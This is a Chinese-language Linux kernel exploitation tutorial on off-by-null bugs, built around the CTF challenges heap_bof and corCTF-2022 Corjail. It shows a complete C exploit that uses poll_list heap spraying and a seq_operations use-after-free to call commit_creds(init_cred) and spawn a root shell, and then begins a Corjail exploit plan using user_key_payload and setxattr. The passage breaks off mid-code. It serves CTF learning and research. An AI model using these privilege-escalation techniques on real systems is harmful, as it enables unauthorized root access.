前言
本文我们通过我们的老朋友 heap_bof
来讲解 Linux kernel
中 off-by-null
的利用手法。在通过讲解另一道相对来说比较困难的 kernel off-by-null + docker escape
来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了 root
权限后, docker
逃逸就变的相对简单了)。
off by null
我们还是使用上一篇的例题 heap_bof
来讲解这种利用手法,现在我们假设这道题没有提供 free
,并且只有单字节溢出,并且溢出的单字节只能是 NULL
,那么我们应该怎麼去利用呢?
利用思路
boot.sh
#!/bin/bash
qemu-system-x86_64 \
-initrd
rootfs.img \
-kernel
bzImage \
-m
1G \
-append
'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr'
\
-monitor
/dev/null \
-s
\
-cpu
kvm64 \
-smp
cores
=
1
,threads
=
2
\
--nographic
poll系统调用
/*
* @fds: pollfd类型的一个数组
* @nfds: 前面的参数fds中条目的个数
* @timeout: 事件发生的毫秒数
*/
int
poll
(
struct
pollfd
*
fds
,
nfds_t
nfds
,
int
timeout
);
poll_list
结构体对象是在调用 poll()
时分配,该调用可以监视 1
个或多个文件描述符的活动。
struct
pollfd
{
int
fd
;
short
events
;
short
revents
;
};
struct
poll_list
{
struct
poll_list
*
next
;
// 指向下一个poll_list
int
len
;
// 对应于条目数组中pollfd结构的数量
struct
pollfd
entries
[];
// 存储pollfd结构的数组
};
poll_list
结构如下图所示,前 30
个 poll_fd
在栈上,后面的都在堆上,最多 510
个 poll_fd
在一个堆上的 poll_list
上,堆上的 poll_list
最大为 0x1000
。
poll_list 分配/释放
do_sys_poll
函数完成 poll_list
的分配和释放。 poll_list
的是超时自动释放的,我们可以指定 poll_list
的释放时间。
#define POLL_STACK_ALLOC
256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd))
[...]
static
int
do_sys_poll
(
struct
pollfd
__user
*
ufds
,
unsigned
int
nfds
,
struct
timespec64
*
end_time
)
{
struct
poll_wqueues
table
;
int
err
=
-
EFAULT
,
fdcount
,
len
;
/* Allocate small arguments on the stack to save memory and be
faster - use long to make sure the buffer is aligned properly
on 64 bit archs to avoid unaligned access */
/*
* [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
*/
long
stack_pps
[
POLL_STACK_ALLOC
/
sizeof
(
long
)];
struct
poll_list
*
const
head
=
(
struct
poll_list
*
)
stack_pps
;
struct
poll_list
*
walk
=
head
;
unsigned
long
todo
=
nfds
;
if
(
nfds
>
rlimit
(
RLIMIT_NOFILE
))
return
-
EINVAL
;
/*
* [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
*/
len
=
min_t
(
unsigned
int
,
nfds
,
N_STACK_PPS
);
for
(;;) {
walk
->
next
=
NULL
;
walk
->
len
=
len
;
if
(
!
len
)
break
;
if
(
copy_from_user
(
walk
->
entries
,
ufds
+
nfds
-
todo
,
sizeof
(
struct
pollfd
)
*
walk
->
len
))
goto
out_fds
;
todo
-=
walk
->
len
;
if
(
!
todo
)
break
;
/*
*
[3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
*
每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
*
超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
*/
len
=
min
(
todo
,
POLLFD_PER_PAGE
);
/*
* [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
*/
walk
=
walk
->
next
=
kmalloc
(
struct_size
(
walk
,
entries
,
len
),
GFP_KERNEL
);
if
(
!
walk
) {
err
=
-
ENOMEM
;
goto
out_fds
;
}
}
poll_initwait
(
&
table
);
/*
*
[5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
* 这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
*/
fdcount
=
do_poll
(
head
,
&
table
,
end_time
);
poll_freewait
(
&
table
);
if
(
!
user_write_access_begin
(
ufds
,
nfds
*
sizeof
(
*
ufds
))
and
)
goto
out_fds
;
for
(
walk
=
head
;
walk
;
walk
=
walk
->
next
) {
struct
pollfd
*
fds
=
walk
->
entries
;
int
j
;
for
(
j
=
walk
->
len
;
j
;
fds
++
,
ufds
++
,
j
--
)
unsafe_put_user
(
fds
->
revents
,
&
ufds
->
revents
,
Efault
);
}
user_write_access_end
();
err
=
fdcount
;
out_fds
:
walk
=
head
->
next
;
while
(
walk
) {
// [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
struct
poll_list
*
pos
=
walk
;
walk
=
walk
->
next
;
kfree
(
pos
);
}
return
err
;
Efault
:
user_write_access_end
();
err
=
-
EFAULT
;
goto
out_fds
;
}
我们可以去找到一些结构体,其头 8
字节是一个指针,然后利用 off by null
去损坏该指针,比如使得 0xXXXXa0
变成 0xXXXX00
,然后就可以考虑利用堆喷去构造 UAF
了。
详细流程
-
首先分配
kmalloc-4096
大小的结构题在ptr[0]
; -
然后构造这样的
poll_list
结构体。 -
利用
off-by-null
将poll_list->next
的最后一个字节改为空。然后大量分配kmalloc-32
的obj
内存,这里只所以是32
字节大小是因为要与后面的seq_operations
配合,并且32
大小的object
其低字节是可能为\x00
的,其低字节为0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。运气好可以被我们篡改后的poll_list->next
指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。 -
等待
poll_list
线程执行完毕,并且我们分配的kmalloc-32
被错误释放,分配大量的seq_operations
,运气好可以正好被分配到我们释放的kmalloc-32
,形成UAF
,这样我们就可以利用UAF
修改seq_operations->start
指针指向提权代码。 -
提权可以参考上一篇文章,利用栈上的残留值来
bypass kaslr
。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199
char
buf
[
0x20
];
int
bof_fd
;
int
key_id
[
KEY_NUM
];
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000
struct
param
{
size_t
len
;
// 内容长度
char
*
buf
;
// 用户态缓冲区地址
unsigned
long
idx
;
// 表示 ptr 数组的 索引
};
size_t
user_cs
,
user_rflags
,
user_sp
,
user_ss
;
void
save_status
() {
__asm__
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts
(
"[*] status has been saved."
);
}
void
get_shell
(
void
) {
system
(
"/bin/sh"
);
}
void
qword_dump
(
char
*
desc
,
void
*
addr
,
int
len
) {
uint64_t
*
buf64
=
(
uint64_t
*
)
addr
;
uint8_t
*
buf8
=
(
uint8_t
*
)
addr
;
if
(
desc
!=
NULL
) {
printf
(
"[*] %s:\n"
,
desc
);
}
for
(
int
i
=
0
;
i
<
len
/
8
;
i
+=
4
) {
printf
(
" %04x"
,
i
*
8
);
for
(
int
j
=
0
;
j
<
4
;
j
++
) {
i
+
j
<
len
/
8
?
printf
(
" 0x%016lx"
,
buf64
[
i
+
j
]) :
printf
(
" "
);
}
printf
(
" "
);
for
(
int
j
=
0
;
j
<
32
&&
j
+
i
*
8
<
len
;
j
++
) {
printf
(
"%c"
,
isprint
(
buf8
[
i
*
8
+
j
])
?
buf8
[
i
*
8
+
j
] :
'.'
);
}
puts
(
""
);
}
}
/*--------------------------------------------------------------------------------------------------*/
struct
callback_head
{
struct
callback_head
*
next
;
void
(
*
func
)(
struct
callback_head
*
head
);
}
__attribute__
((
aligned
(
sizeof
(
void
*
))));
#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedef
unsigned
long
long
u64
;
struct
user_key_payload
{
struct
rcu_head
rcu
;
/* RCU destructor */
unsigned
short
datalen
;
/* length of this data */
char
data
[
0
]
__aligned
(
__alignof__
(
u64
));
/* actual data */
};
int
key_alloc
(
int
id
,
void
*
payload
,
int
payload_len
) {
char
description
[
0x10
]
=
{};
sprintf
(
description
,
"pwn_%d"
,
id
);
return
key_id
[
id
]
=
syscall
(
__NR_add_key
,
"user"
,
description
,
payload
,
payload_len
-
sizeof
(
struct
user_key_payload
),
KEY_SPEC_PROCESS_KEYRING
);
}
int
key_update
(
int
id
,
void
*
payload
,
size_t
plen
) {
return
syscall
(
__NR_keyctl
,
KEYCTL_UPDATE
,
key_id
[
id
],
payload
,
plen
);
}
int
key_read
(
int
id
,
void
*
bufer
,
size_t
buflen
) {
return
syscall
(
__NR_keyctl
,
KEYCTL_READ
,
key_id
[
id
],
bufer
,
buflen
);
}
int
key_revoke
(
int
id
) {
return
syscall
(
__NR_keyctl
,
KEYCTL_REVOKE
,
key_id
[
id
],
0
,
0
,
0
);
}
int
key_unlink
(
int
id
) {
return
syscall
(
__NR_keyctl
,
KEYCTL_UNLINK
,
key_id
[
id
],
KEY_SPEC_PROCESS_KEYRING
);
}
/*--------------------------------------------------------------------------------------------------*/
pthread_t
tid
[
40
];
typedef
struct
{
int
nfds
,
timer
;
}
poll_args
;
struct
poll_list
{
struct
poll_list
*
next
;
int
len
;
struct
pollfd
entries
[];
};
void*
alloc_poll_list
(
void
*
args
) {
int
nfds
=
((
poll_args
*
)
args
)
->
nfds
;
int
timer
=
((
poll_args
*
)
args
)
->
timer
;
struct
pollfd
*
pfds
=
calloc
(
nfds
,
sizeof
(
struct
pollfd
));
for
(
int
i
=
0
;
i
<
nfds
;
i
++
) {
pfds
[
i
].
fd
=
open
(
"/etc/passwd"
,
O_RDONLY
);
pfds
[
i
].
events
=
POLLERR
;
}
poll
(
pfds
,
nfds
,
timer
);
}
void*
create_poll_list
(
size_t
size
,
int
timer
,
int
i
) {
poll_args
*
args
=
calloc
(
1
,
sizeof
(
poll_args
));
args
->
nfds
=
(
size
-
(
size
+
PAGE_SIZE
-
1
)
/
PAGE_SIZE
*
sizeof
(
struct
poll_list
))
/
sizeof
(
struct
pollfd
)
+
N_STACK_PPS
;
args
->
timer
=
timer
;
pthread_create
(
&
tid
[
i
],
NULL
,
alloc_poll_list
,
args
);
}
/*--------------------------------------------------------------------------------------------------*/
struct
list_head
{
struct
list_head
*
next
,
*
prev
;
};
struct
tty_file_private
{
struct
tty_struct
*
tty
;
struct
file
*
file
;
struct
list_head
list
;
};
struct
page
;
struct
pipe_inode_info
;
struct
pipe_buf_operations
;
struct
pipe_bufer
{
struct
page
*
page
;
unsigned
int
offset
,
len
;
const
struct
pipe_buf_operations
*
ops
;
unsigned
int
flags
;
unsigned
long
private
;
};
struct
pipe_buf_operations
{
int
(
*
confirm
)(
struct
pipe_inode_info
*
,
struct
pipe_bufer
*
);
void
(
*
release
)(
struct
pipe_inode_info
*
,
struct
pipe_bufer
*
);
int
(
*
try_steal
)(
struct
pipe_inode_info
*
,
struct
pipe_bufer
*
);
int
(
*
get
)(
struct
pipe_inode_info
*
,
struct
pipe_bufer
*
);
};
/*--------------------------------------------------------------------------------------------------*/
void
*
(
*
commit_creds
)(
void
*
)
=
(
void
*
)
0xFFFFFFFF810A1340
;
void
*
init_cred
=
(
void
*
)
0xFFFFFFFF81E496C0
;
size_t
user_rip
=
(
size_t
)
get_shell
;
size_t
kernel_offset
;
void
get_root
() {
__asm__
(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset
-=
0xffffffff81229378
;
commit_creds
=
(
void
*
) ((
size_t
)
commit_creds
+
kernel_offset
);
init_cred
=
(
void
*
) ((
size_t
)
init_cred
+
kernel_offset
);
commit_creds
(
init_cred
);
__asm__
(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
/*--------------------------------------------------------------------------------------------------*/
int
main
() {
save_status
();
signal
(
SIGSEGV
, (
void
*
)
get_shell
);
bof_fd
=
open
(
"dev/bof"
,
O_RDWR
);
int
seq_fd
[
SEQ_NUM
];
printf
(
"[*] try to alloc_kmalloc-4096\n"
);
size_t*
mem
=
malloc
(
0x1010
);
memset
(
mem
,
'\xff'
,
0x1010
);
struct
param
p
=
{
0x1000
, (
char*
)
mem
,
0
};
ioctl
(
bof_fd
,
BOF_MALLOC
,
&
p
);
printf
(
"[*] try to spary kmalloc-32\n"
);
p
.
len
=
0x20
;
for
(
int
i
=
1
;
i
<
20
;
++
i
)
{
p
.
idx
=
i
;
memset
(
mem
,
i
,
0x20
);
memset
(
mem
,
0
,
0x18
);
ioctl
(
bof_fd
,
BOF_MALLOC
,
&
p
);
ioctl
(
bof_fd
,
BOF_EDIT
,
&
p
);
}
printf
(
"[*] try to alloc_poll_list\n"
);
for
(
int
i
=
0
;
i
<
14
;
++
i
)
{
create_poll_list
(
PAGE_SIZE
+
sizeof
(
struct
poll_list
)
+
sizeof
(
struct
pollfd
),
3000
,
i
);
}
printf
(
"[*] try to spary kmalloc-32\n"
);
p
.
len
=
0x20
;
for
(
int
i
=
20
;
i
<
40
;
++
i
)
{
p
.
idx
=
i
;
memset
(
mem
,
i
,
0x20
);
memset
(
mem
,
0
,
0x18
);
ioctl
(
bof_fd
,
BOF_MALLOC
,
&
p
);
ioctl
(
bof_fd
,
BOF_EDIT
,
&
p
);
}
sleep
(
1
);
//
调试用代码
// p.len = 0x1010;
// p.idx = 0;
// ioctl(bof_fd, BOF_READ, &p);
// printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);
p
.
len
=
0x1001
;
p
.
idx
=
0
;
memset
(
mem
,
'\x00'
,
0x1001
);
ioctl
(
bof_fd
,
BOF_EDIT
,
&
p
);
void
*
res
;
for
(
int
i
=
0
;
i
<
14
;
++
i
)
{
printf
(
"[*] wating for poll end\n"
);
pthread_join
(
tid
[
i
],
&
res
);
}
for
(
int
i
=
0
;
i
<
256
;
++
i
)
{
seq_fd
[
i
]
=
open
(
"/proc/self/stat"
,
O_RDONLY
);
}
sleep
(
1
);
for
(
int
i
=
1
;
i
<
40
;
++
i
)
{
p
.
idx
=
i
;
p
.
len
=
0x20
;
ioctl
(
bof_fd
,
BOF_READ
,
&
p
);
printf
(
"[%d->0] p->buf == %p\n"
,
i
, (
size_t*
)
mem
[
0
]);
printf
(
"[%d->1] p->buf == %p\n"
,
i
, (
size_t*
)
mem
[
1
]);
printf
(
"[%d->2] p->buf == %p\n"
,
i
, (
size_t*
)
mem
[
2
]);
printf
(
"[%d->3] p->buf == %p\n"
,
i
, (
size_t*
)
mem
[
3
]);
mem
[
0
]
=
(
size_t*
)
get_root
;
mem
[
1
]
=
(
size_t*
)
get_root
;
mem
[
2
]
=
(
size_t*
)
get_root
;
mem
[
3
]
=
(
size_t*
)
get_root
;
ioctl
(
bof_fd
,
BOF_EDIT
,
&
p
);
}
for
(
int
i
=
1
;
i
<
40
;
++
i
)
{
p
.
idx
=
i
;
p
.
len
=
0x20
;
ioctl
(
bof_fd
,
BOF_READ
,
&
p
);
printf
(
"[%d->0] p->buf == %p\n"
,
i
, (
size_t*
)
mem
[
0
]);
printf
(
"[%d->1] p->buf == %p\n"
,
i
, (
size_t*
)
mem
[
1
]);
printf
(
"[%d->2] p->buf == %p\n"
,
i
, (
size_t*
)
mem
[
2
]);
printf
(
"[%d->3] p->buf == %p\n"
,
i
, (
size_t*
)
mem
[
3
]);
}
for
(
int
i
=
0
;
i
<
256
;
i
++
) {
read
(
seq_fd
[
i
],
p
.
buf
,
1
);
}
return
0
;
}
corCTF-2022:Corjail
题目分析
我们可以使用 Guestfish
工具读取和修改 qcow2
文件。
run_challenge.sh
#!/bin/sh
qemu-system-x86_64 \
-m
1G \
-nographic
\
-no-reboot
\
-kernel
bzImage \
-append
"console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on"
\
-hda
coros.qcow2 \
-snapshot
\
-monitor
/dev/null \
-cpu
qemu64,
+
smep,
+
smap,
+
rdrand \
-smp
cores
=
4
\
--enable-kvm
init脚本
查看服务进程 /etc/systemd/system/init.service
;
Description
=
Initialize challenge
[Service]
Type
=
oneshot
ExecStart
=
/usr/local/bin/init
[Install]
WantedBy
=
multi-user.target
查看 /usr/local/bin/init
脚本;
cat
/usr/local/bin/init
#!/bin/bash
USER
=
user
FLAG
=
$(head -n 100 /dev/urandom | sha512sum | awk '{printf
$1
}')
useradd
--create-home
--shell
/bin/bash
$USER
echo
"export PS1='\[33[01;31m\]\u@CoROS\[33[00m\]:\[33[01;34m\]\w\[33[00m\]# '"
>> /root/.bashrc
echo
"export PS1='\[33[01;35m\]\u@CoROS\[33[00m\]:\[33[01;34m\]\w\[33[00m\]\$ '"
>> /home/
$USER
/.bashrc
chmod
-r
0700
/home/
$USER
mv
/root/temp /root/
$FLAG
chmod
0400
/root/
$FLAG
password
❯ guestfish
--rw
-a
coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs>
cat
/etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs>
cat
/etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......
root_shell
查看 root
用户的 /usr/local/bin/jail
;
><fs>
cat
/usr/local/bin/jail
#!/bin/bash
echo
-e
'[33[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
/usr/bin/docker run
-it
--user
user \
--hostname
CoRJail \
--security-opt
seccomp
=
/etc/docker/corjail.json \
-v
/proc/cormon:/proc_rw/cormon:rw corcontainer
/bin/bash
/usr/sbin/poweroff
-f
发现其启动 root
的 shell
后是首先调用 docker
来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该 docker
容器当中。
为了方便调试,我们可以使用 edit
将其修改为:
><fs> edit /usr/local/bin/jail
><fs>
cat
/usr/local/bin/jail
#!/bin/bash
echo
-e
'[33[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
cp
/exploit /home/user ||
echo
"[!] exploit not found, skipping"
chown
-R
user:user /home/user
echo
0
> /proc/sys/kernel/kptr_restrict
/usr/bin/docker run
-it
--user
root \
--hostname
CoRJail \
--security-opt
seccomp
=
/etc/docker/corjail.json \
# 允许容器能够调用与日志相关的系统调用
--cap-add
CAP_SYSLOG \
# 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
-v
/proc/cormon:/proc_rw/cormon:rw \
# 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
-v
/home/user/:/home/user/host \
corcontainer
/bin/bash
/usr/sbin/poweroff
-f
edit
的用法和 vim
一样。
后面我们上传 exp
的时候可以使用 upload
命令,其格式如下:
><fs> help upload
NAME
upload
-
upload a file from the local machine
SYNOPSIS
upload filename remotefilename
DESCRIPTION
Upload local file filename to remotefilename on the filesystem.
filename can also be a named pipe.
See also
"download"
.
kernel_patch
diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c
2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c
2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@
#define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
/*
* Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h
2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h
2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
* SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
* macros to work correctly.
*/
-#define SYSCALL_DEFINE0(sname)
\
+#define __SYSCALL_DEFINE0(sname)
\
SYSCALL_METADATA(_##sname, 0);
\
static long __do_sys_##sname(const struct pt_regs *__unused);
\
__X64_SYS_STUB0(sname)
\
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h
2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h
2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
#include <linux/key.h>
#include <linux/personality.h>
#include <trace/syscall.h>
+#include <asm/syscall.h>
#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
/*
@@ -202,8 +203,8 @@
}
#endif
-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname)
\
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname)
\
SYSCALL_METADATA(_##sname, 0);
\
asmlinkage long sys_##sname(void);
\
ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);
\
@@ -219,9 +220,41 @@
#define SYSCALL_DEFINE_MAXARGS
6
-#define SYSCALL_DEFINEx(x, sname, ...)
\
-
SYSCALL_METADATA(sname, x, __VA_ARGS__)
\
-
__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+
static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+
this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...)
\
+
{
\
+
__SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);
\
+
return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));
\
+
}
\
+
static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+
static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname)
\
+
{
\
+
__SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);
\
+
return __count_sys_##sname();
\
+
}
\
+
static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...)
\
+
SYSCALL_METADATA(sname, x, __VA_ARGS__)
\
+
SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)
\
+
__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
\
+
SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname)
\
+
SYSCALL_COUNT_DECLARE0(sname)
\
+
__SYSCALL_DEFINE0(sname)
\
+
SYSCALL_COUNT_FUNC0(sname)
#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c
2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c
2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
return NULL;
}
-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
{
if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@
return syscalls_metadata[nr];
}
+EXPORT_SYMBOL(syscall_nr_to_meta);
const char *get_syscall_name(int syscall)
{
@@ -122,6 +123,7 @@
return entry->name;
}
+EXPORT_SYMBOL(get_syscall_name);
static enum print_line_t
print_syscall_enter(struct trace_iterator *iter, int flags,
其中
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
为每个CPU都创建一个 __per_cpu_syscall_count
变量用来记录系统调用的次数。
seccomp.json
保存了系统调用的白名单。
{
"defaultAction"
:
"SCMP_ACT_ERRNO"
,
"defaultErrnoRet"
:
1
,
"syscalls"
: [
{
"names"
: [
"_llseek"
,
"_newselect"
,
"accept"
,
"accept4"
,
"access"
,
...
],
"action"
:
"SCMP_ACT_ALLOW"
},
{
"names"
: [
"clone"
],
"action"
:
"SCMP_ACT_ALLOW"
,
"args"
: [ {
"index"
:
0
,
"value"
:
2114060288
,
"op"
:
"SCMP_CMP_MASKED_EQ"
} ]
}
]
}
根据 README.md
提示,可以在 proc_rw/cormon
看到使用到的系统调用在各个 CPU
当中的情况。
root@CoRJail:/
# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3
Syscall (NR)
9
16
25
18
sys_poll (7)
0
0
0
0
sys_fork (57)
66
64
79
60
sys_execve (59)
0
0
0
0
sys_msgget (68)
0
0
0
0
sys_msgsnd (69)
0
0
0
0
sys_msgrcv (70)
0
0
0
0
sys_ptrace (101)
15
19
11
6
sys_setxattr (188)
27
24
11
20
sys_keyctl (250)
0
0
2
2
sys_unshare (272)
0
1
0
0
sys_execveat (322)
也可以指定系统调用。
root@CoRJail:/
# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon
root@CoRJail:/
# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3
Syscall (NR)
0
0
0
0
sys_msgsnd (69)
0
0
0
0
sys_msgrcv (70)
src.c
可以看到 write
存在明显的 off-by-null
。
static
ssize_t
cormon_proc_write
(
struct
file
*
file
,
const
char
__user
*
ubuf
,
size_t
count
,
loff_t
*
ppos
)
{
loff_t
offset
=
*
ppos
;
char
*
syscalls
;
size_t
len
;
if
(
offset
<
0
)
return
-
EINVAL
;
if
(
offset
>=
PAGE_SIZE
||
!
count
)
return
0
;
len
=
count
>
PAGE_SIZE
?
PAGE_SIZE
-
1
:
count
;
syscalls
=
kmalloc
(
PAGE_SIZE
,
GFP_ATOMIC
);
printk
(
KERN_INFO
"[CoRMon::Debug] Syscalls @ %#llx\n"
, (
uint64_t
)
syscalls
);
if
(
!
syscalls
)
{
printk
(
KERN_ERR
"[CoRMon::Error] kmalloc() call failed!\n"
);
return
-
ENOMEM
;
}
if
(
copy_from_user
(
syscalls
,
ubuf
,
len
))
{
printk
(
KERN_ERR
"[CoRMon::Error] copy_from_user() call failed!\n"
);
return
-
EFAULT
;
}
syscalls
[
len
]
=
'\x00'
;
if
(
update_filter
(
syscalls
))
{
kfree
(
syscalls
);
return
-
EINVAL
;
}
kfree
(
syscalls
);
return
count
;
}
利用思路
在 poll_list
利用方式中:
- 先通过
add_key()
堆喷大量32
字节大小的user_key_payload
。
这里只所以是
32
字节大小是因为要与后面的seq_operations
配合,并且32
大小的object
其低字节是可能为\x00
的,其低字节为0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。
-
然后创建
poll_list
链,其中poll_list.next
指向的是一个0x20
大小的object
。 -
触发
off by null
,修改poll_list.next
的低字节为\x00
,这里可能导致其指向某个user_key_payload
。 -
然后等待
timeout
后, 就会导致某个user_key_payload
被释放,导致UAF
。
详细流程如下:
首先,我们要打开有漏洞的模块。使用 bind_core()
将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。
void
bind_core
(
bool
fixed
,
bool
thread
) {
cpu_set_t
cpu_set
;
CPU_ZERO
(
&
cpu_set
);
CPU_SET
(
fixed
?
0
:
randint
(
1
,
get_nprocs
()),
&
cpu_set
);
if
(
thread
) {
pthread_setaffinity_np
(
pthread_self
(),
sizeof
(
cpu_set
),
&
cpu_set
);
}
else
{
sched_setaffinity
(
getpid
(),
sizeof
(
cpu_set
),
&
cpu_set
);
}
}
喷射大量 0x20
大小的 user_key_payload
和下图所示 0x1000 + 0x20
的 poll_list
。
此时内存中 object
的分布如下图所示,其中黄色的是 user_key_payload
,绿色的是 poll_list
,白色是空闲 object
。
通过 off by null
修改 0x1000 大小的 poll_list
,使得指向 0x20 大小 poll_list
的 next
指针指向 user_key_payload
。之后释放所有的 poll_list
结构,被 next
指向的的 user_key_payload
也被释放,形成 UAF 。
注意,为了确保释放 poll_list
不出错,要保证 0x20
大小的 poll_list
的 next
指针为 NULL 。也就是 user_key_payload
的前 8 字节为 NULL 。由于 user_key_payload
的前 8 字节没有初始化,因此可以在申请 user_key_payload
前先用 setxattr
把前 8 字节置为 NULL 。
static
long
setxattr
(
struct
dentry
*
d
,
const
char
__user
*
name
,
const
void
__user
*
value
,
size_t
size
,
int
flags
)
{
int
error
;
void
*
kvalue
=
NULL
;
char
kname
[
XATTR_NAME_MAX
+
1
];
[...]
if
(
size
) {
[...]
kvalue
=
kvmalloc
(
size
,
GFP_KERNEL
);
// 申请kmalloc-x
if
(
!
kvalue
)
return
-
ENOMEM
;
// 修改kmalloc-x内容
if
(
copy_from_user
(
